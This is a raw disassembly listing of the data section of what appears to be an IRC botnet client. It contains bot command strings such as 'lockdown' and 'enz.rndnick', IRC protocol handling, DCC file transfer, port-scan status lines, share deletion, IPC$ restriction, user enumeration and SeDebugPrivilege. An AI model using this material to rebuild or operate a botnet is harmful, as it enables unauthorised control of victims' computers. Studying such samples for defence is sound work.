aLd_off		db 'ld.off',0           ; DATA XREF: sub_40CE55+FF1o
		align 4
aLockdown_off	db 'lockdown.off',0     ; DATA XREF: sub_40CE55+FDCo
		align 4
aLd_on		db 'ld.on',0            ; DATA XREF: sub_40CE55+FC7o
		align 4
aLockdown_on	db 'lockdown.on',0      ; DATA XREF: sub_40CE55+FB2o
aEnz_ver	db 'enz.ver',0          ; DATA XREF: sub_40CE55+F9Do
aEnz_version	db 'enz.version',0      ; DATA XREF: sub_40CE55+F88o
aEnz_lo		db 'enz.lo',0           ; DATA XREF: sub_40CE55+F73o
		align 4
aEnz_logout	db 'enz.logout',0       ; DATA XREF: sub_40CE55+F5Eo
		align 4
aEnz_d		db 'enz.d',0            ; DATA XREF: sub_40CE55+F49o
		align 10h
aEnz_endsess	db 'enz.endsess',0      ; DATA XREF: sub_40CE55+F34o
aEnz_rn		db 'enz.rn',0           ; DATA XREF: sub_40CE55+F1Fo
		align 4
aEnz_rndnick	db 'enz.rndnick',0      ; DATA XREF: sub_40CE55+F07o
a63		db '63',0               ; DATA XREF: sub_40CE55+DE0o
		align 4
asc_4361E4:				; DATA XREF: sub_40CE55+DB8o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_40CE55+D7Bo
		align 10h
aServer_2	db '$server',0          ; DATA XREF: sub_40CE55+D70o
aRndnick	db '$rndnick',0         ; DATA XREF: sub_40CE55+D5Fo
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_40CE55+D43o
		align 4
aUser_2		db '$user',0            ; DATA XREF: sub_40CE55+D32o
		align 4
aMe_0		db '$me',0              ; DATA XREF: sub_40CE55+D20o
aD_0		db '$%d',0              ; DATA XREF: sub_40CE55+CB2o
aD_1		db '$%d-',0             ; DATA XREF: sub_40CE55+BF7o
		align 4
aHi_0		db 'hi',0               ; DATA XREF: sub_40CE55+B1Fo
		align 4
aNewshit	db 'newshit',0          ; DATA XREF: sub_40CE55+B07o
dword_436230	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CE55+AD5o
		dd 2029206Ch, 2BBBB02h
aChatFailedByUn	db '  Chat failed by unauthorized user: %s.',0
dword_436274	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CE55+AC7o
		dd 2029206Ch, 2BBBB02h
aChatAlreadyAct	db '  Chat already active with user: %s.',0
		align 4
dword_4362B8	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CE55+AB9o
		dd 2029206Ch, 2BBBB02h
aFailedToSta_26	db '  Failed to start chat thread, error: <%d>.',0
dword_436300	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CE55+A4Ao
		dd 2029206Ch, 2BBBB02h
aChatFromUserS_	db '  Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_40CE55+9B3o
		align 4
dword_43633C	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CE55+996o
		dd 2029206Ch, 2BBBB02h
aReceiveFileSFa	db '  Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
dword_436390	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CE55+978o
					; sub_40CE55+4733o
		dd 2029206Ch, 2BBBB02h
aFailedToSta_27	db '  Failed to start transfer thread, error: <%d>.',0
dword_4363DC	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_40CE55+967o
		dd 0A0Dh
dword_4363F4	dd 4E495001h, 47h	; DATA XREF: sub_40CE55+933o
aSHasJustVersio	db '%s has just versioned me.',0 ; DATA XREF: sub_40CE55+8EDo
		align 4
dword_436418	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_40CE55+8D3o
		dd 0D017325h, 0Ah
dword_436434	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_40CE55+8A2o
dword_436440	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CE55+788o
		dd 2029206Ch, 2BBBB02h
aReceiveFileSFr	db '  Receive file: ',27h,'%s',27h,' from user: %s.',0
aSend_0		db 'SEND',0             ; DATA XREF: sub_40CE55+6E5o
		align 4
dword_436488	dd 43434401h, 0		; DATA XREF: sub_40CE55+6C7o
dword_436490	dd 323333h		; DATA XREF: sub_40CE55+64Eo
					; sub_40CE55+B41o ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_40CE55+62Co
					; sub_412D4C+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_40CE55+620o
					; sub_412D4C+16o
dword_4364A4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5CFo
		dd 2029206Ch, 2BBBB02h
aUserSLoggedOut	db '  User: %s logged out.',0
		align 4
dword_4364D8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+5A8o
		dd 2029206Ch, 2BBBB02h
aJoinedChanne_0	db '  Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: sub_40CE55+571o
aPart		db 'PART',0             ; DATA XREF: sub_40CE55+523o
					; sub_40CE55+5ECo
		align 4
aSS_1		db ':%s%s',0            ; DATA XREF: sub_40CE55+4FBo
		align 10h
aNick		db 'NICK',0             ; DATA XREF: sub_40CE55+3CDo
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+36Eo
					; sub_40CE55+610o
dword_436538	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CE55+355o
					; sub_40CE55+5A5Do ...
		dd 2029206Ch, 2BBBB02h
aUserSLoggedO_0	db '  User %s logged out.',0
		align 4
aKick		db 'KICK',0             ; DATA XREF: sub_40CE55+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_40CE55+28Do
					; sub_40CE55+4AEBo ...
		align 10h
a433		db '433',0              ; DATA XREF: sub_40CE55+265o
a302		db '302',0              ; DATA XREF: sub_40CE55+22Ao
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+1E4o
					; sub_40CE55+3B4o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_40CE55+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_40CE55+1A9o
		align 4
asc_4365AC	db ' :',0               ; DATA XREF: sub_40CE55+86o
					; sub_40CE55:loc_40D9EEo
		align 10h
dword_4365B0	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_412B98+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4365FC	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_412B98+E3o
; ---------------------------------------------------------------------------

loc_436618:				; DATA XREF: sub_412B98+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_43662C	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_412B98+13Fo
dword_436640	dd 25207325h, 253A2073h, 0A0D73h, 0 ; DATA XREF: sub_412D4C+58o
off_436650	dd offset aAdd		; DATA XREF: sub_412DE7+6Dr
					; sub_4131CB+50r ...
					; "Add"
off_436654	dd offset aAdded	; DATA XREF: sub_412DE7+2Dr
					; sub_4131CB+82r ...
					; "Added"
dword_436658	dd 0			; DATA XREF: sub_412DE7+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_0	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 4366C4h, 4366BCh,	2, 4366B0h, 4366A4h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: .nsp0:00436684o
aStop_0		db 'Stop',0             ; DATA XREF: .nsp0:00436680o
		align 4
aStarted	db 'Started',0          ; DATA XREF: .nsp0:00436678o
aStart_0	db 'Start',0            ; DATA XREF: .nsp0:00436674o
		align 4
aListed		db 'Listed',0           ; DATA XREF: .nsp0:0043666Co
		align 4
aList_0		db 'List',0             ; DATA XREF: .nsp0:00436668o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: .nsp0:00436660o
aDelete_0	db 'Delete',0           ; DATA XREF: .nsp0:0043665Co
		align 4
aAdded		db 'Added',0            ; DATA XREF: .nsp0:off_436654o
		align 4
aAdd		db 'Add',0              ; DATA XREF: .nsp0:off_436650o
dword_436718	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_412DE7+74o
		dd 2029206Ch, 2BBBB02h
aSNoServiceSpec	db '  %s: No service specified.',0
dword_436750	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_412DE7+55o
		dd 2029206Ch, 2BBBB02h
aErrorWithServi	db '  Error with service: ',27h,'%s',27h,'. %s',0
		align 4
dword_43678C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_412DE7+38o
		dd 2029206Ch, 2BBBB02h
aSServiceS_	db '  %s service: ',27h,'%s',27h,'.',0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_412F10+12Co
		align 10h
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_412F10:loc_413028o
		align 10h
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_412F10:loc_413021o
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_412F10:loc_41301Ao
		db 'the state of the service.',0
		align 10h
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_412F10:loc_413013o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_412F10:loc_41300Co
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_412F10:loc_413005o
		align 10h
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_412F10:loc_412FFEo
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_412F10:loc_412FF7o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_412F10:loc_412FF0o
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_412F10:loc_412FE9o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_412F10:loc_412FBEo
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_412F10:loc_412FB7o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_412F10:loc_412FB0o
		db 'tServiceCtrlDispatcher.',0
		align 10h
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_412F10:loc_412FA9o
		align 10h
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_412F10+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_412F10:loc_412F7Eo
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_412F10:loc_412F74o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_412F10:loc_412F6Ao
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_412F10:loc_412F60o
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_412F10:loc_412F56o
		align 10h
aTheSpecifiedSe	db 'The specified service name is invalid.',0
					; DATA XREF: sub_412F10:loc_412F4Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_41308E+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_41308E:loc_41315Ao
aStarting	db '   Starting',0      ; DATA XREF: sub_41308E:loc_413153o
aStoping	db '    Stoping',0      ; DATA XREF: sub_41308E:loc_41314Co
aRunning_0	db '    Running',0      ; DATA XREF: sub_41308E:loc_413145o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_41308E:loc_41313Eo
aPausing	db '    Pausing',0      ; DATA XREF: sub_41308E:loc_413137o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_41308E:loc_413130o
aUnknown_1	db '    Unknown',0      ; DATA XREF: sub_41308E+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_41308E+25o
		align 4
dword_436CF4	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4131CB+ABo
		dd 2029206Ch, 2BBBB02h
aSNoShareSpecif	db '  %s: No share specified.',0
		align 4
dword_436D2C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4131CB+89o
		dd 2029206Ch, 2BBBB02h
aSShareS_	db '  %s share: ',27h,'%s',27h,'.',0
		align 4
dword_436D5C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4131CB+57o
		dd 2029206Ch, 2BBBB02h
aSErrorWithShar	db '  %s: Error with share: ',27h,'%s',27h,'. %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4133C0+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_4133C0+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_4133C0+B5o
dword_436DBC	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4133C0+76o
		dd 2029206Ch, 2BBBB02h
aShareListError	db '  Share list error: %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_4133C0+26o
		align 10h
dword_436E30	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4134E1+B6o
		dd 2029206Ch, 2BBBB02h
aSNoUsernameSpe	db '  %s: No username specified.',0
		align 4
dword_436E6C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4134E1+94o
		dd 2029206Ch, 2BBBB02h
aSErrorWithUser	db '  %s: Error with username: ',27h,'%s',27h,'. %s',0
dword_436EAC	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4134E1+6Do
		dd 2029206Ch, 2BBBB02h
aSUsernameS_	db '  %s username: ',27h,'%s',27h,'.',0
		align 10h
dword_436EE0	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_413627+394o
		dd 2029206Ch, 2BBBB02h
aUserInfoErrorL	db '  User info error: <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_413627+36Ao
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_413627+33Fo
		align 10h
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_413627+317o
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_413627+2ECo
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_413627+2C4o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_413627+299o
		align 10h
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_413627+271o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_413627+246o
		align 10h
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_413627+21Eo
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_413627+1F3o
		align 10h
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_413627+1CBo
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_413627+1A0o
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_413627+178o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_413627+14Do
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_413627+125o
aUser_1		db 'User',0             ; DATA XREF: sub_413627:loc_413739o
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_413627+D4o
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_413627+ACo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_413627+81o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_413627+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_4139F5+14Fo
		align 4
dword_437098	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4139F5+F7o
		dd 2029206Ch, 2BBBB02h
aAnAccessViolat	db '  An access violation has occured.',0
		align 4
aS_5		db '  %S',0             ; DATA XREF: sub_4139F5+BEo
		align 10h
dword_4370E0	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4139F5+7Ao
		dd 2029206Ch, 2BBBB02h
aUserListErrorS	db '  User list error: %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_4139F5+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_413B75:loc_413C92o
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_413B75:loc_413C8Bo
		align 10h
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_413B75:loc_413C84o
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_413B75:loc_413C7Do
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_413B75:loc_413C76o
		align 10h
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_413B75:loc_413C59o
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_413B75:loc_413C52o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_413B75:loc_413C4Bo
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_413B75+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_413B75:loc_413C20o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_413B75:loc_413C19o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_413B75:loc_413C12o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_413B75:loc_413C08o
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_413B75+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_413B75:loc_413BE2o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_413B75:loc_413BD8o
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_413B75:loc_413BCEo
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_413B75:loc_413BC4o
		align 10h
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_413B75:loc_413BBAo
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_413B75+3Bo
		align 4
dword_4373FC	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_413CA9+ABo
		dd 2029206Ch, 2BBBB02h
aSServerSMessag	db '  %s <Server: %S> <Message: %S>',0
dword_437438	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_413CA9+81o
		dd 2029206Ch, 2BBBB02h
aMessageSentSuc	db '  Message sent successfully.',0
		align 4
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_413DD2+120o
		align 10h
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_413DD2+5Ao
					; sub_413DD2+19Eo
		align 4
dword_437494	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_413F83:loc_41400Ao
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListFai	db '  Process list failed.',0
		align 4
dword_4374CC	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_413F83+80o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListCom	db '  Process list completed.',0
		align 4
dword_437508	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_413F83+19o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h
		dd 72702067h, 7365636Fh, 3A736573h, 0
aConst		db 'const',0
		align 4
		dd 0
dword_43754C	dd 1			; DATA XREF: sub_414433+7o
off_437550	dd offset sub_4140C8	; DATA XREF: sub_414433+49r
aLetter		db 'letter',0
		align 10h
		dd 2, 414126h, 706D6F63h, 2 dup(0)
		dd 3, 414173h, 6E756F63h, 797274h, 0
		dd 4, 414211h, 736Fh, 2	dup(0)
		dd 5, 414286h
dword_4375A4	dd 69257325h, 0		; DATA XREF: sub_4140C8+40o
					; .nsp0:004141F2o ...
byte_4375AC	db 50h			; DATA XREF: .nsp0:00414195o
					; .nsp0:004141A2r
		db 43h,	2 dup(0)
dword_4375B0	dd 7C7325h		; DATA XREF: .nsp0:00414240o
					; sub_414433+39o
dword_4375B4	dd 5D73255Bh, 7Ch	; DATA XREF: .nsp0:0041434Ao
dword_4375BC	dd 334B32h		; DATA XREF: .nsp0:0041433Ao
dword_4375C0	dd 5D64255Bh, 7325h	; DATA XREF: sub_414390+3Ao
dword_4375C8	dd 5D4D5Bh		; DATA XREF: sub_414390+2Co
					; sub_414390+57o
unk_4375CC	db    2			; DATA XREF: sub_41449C+92o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOp_0	db '  IP: %s Port: %d is open.',0
unk_437608	db    2			; DATA XREF: sub_414569+41o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanningIpSPor	db '  Scanning IP: %s, Port: %d.',0
		align 4
off_437648	dd offset dword_437680	; DATA XREF: sub_4146BA+1B3o
					; sub_4149DE+17Ao
		align 10h
		dd offset dword_437678
		align 8
off_437658	dd offset dword_437674	; DATA XREF: sub_4149DE+1E3o
		dd offset dword_437670
		dd offset dword_43766C
		dd offset dword_437668
dword_437668	dd 5C3A44h		; DATA XREF: sub_4146BA+217o
					; .nsp0:00437664o
dword_43766C	dd 2444h		; DATA XREF: .nsp0:00437660o
dword_437670	dd 5C3A43h		; DATA XREF: .nsp0:0043765Co
dword_437674	dd 2443h		; DATA XREF: .nsp0:off_437658o
dword_437678	dd 494D4441h, 244Eh	; DATA XREF: .nsp0:00437650o
dword_437680	dd 24435049h, 0		; DATA XREF: .nsp0:off_437648o
unk_437688	db    2			; DATA XREF: sub_4146BA+2E5o
					; sub_4149DE+2D8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetapi32_dllCo	db ' Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_4376CC	db    2			; DATA XREF: sub_4146BA+2CFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetworkSharesD	db ' Network shares deleted.',0
		align 4
unk_437708	db    2			; DATA XREF: sub_4146BA:loc_41491Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDelete	db ' Failed to delete ',27h,'%S',27h,' share.',0
		align 4
unk_437748	db    2			; DATA XREF: sub_4146BA+25Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDeleted_	db ' Share ',27h,'%S',27h,' deleted.',0
		align 10h
unk_437780	db    2			; DATA XREF: sub_4146BA:loc_414889o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDele_0	db ' Failed to delete ',27h,'%s',27h,' share.',0
		align 10h
unk_4377C0	db    2			; DATA XREF: sub_4146BA+1C8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDelete_0	db ' Share ',27h,'%s',27h,' deleted.',0
		align 4
unk_4377F8	db    2			; DATA XREF: sub_4146BA:loc_4147ECo
					; sub_4149DE:loc_414B0Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAdvapi32_dllCo	db ' Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_43783C	db    2			; DATA XREF: sub_4146BA:loc_4147E5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenIp	db ' Failed to open IPC$ Restriction registry key.',0
		align 4
unk_43788C	db    2			; DATA XREF: sub_4146BA:loc_4147C7o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aRestrictedAcce	db ' Restricted access to the IPC$ Share.',0
		align 4
unk_4378D4	db    2			; DATA XREF: sub_4146BA+106o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
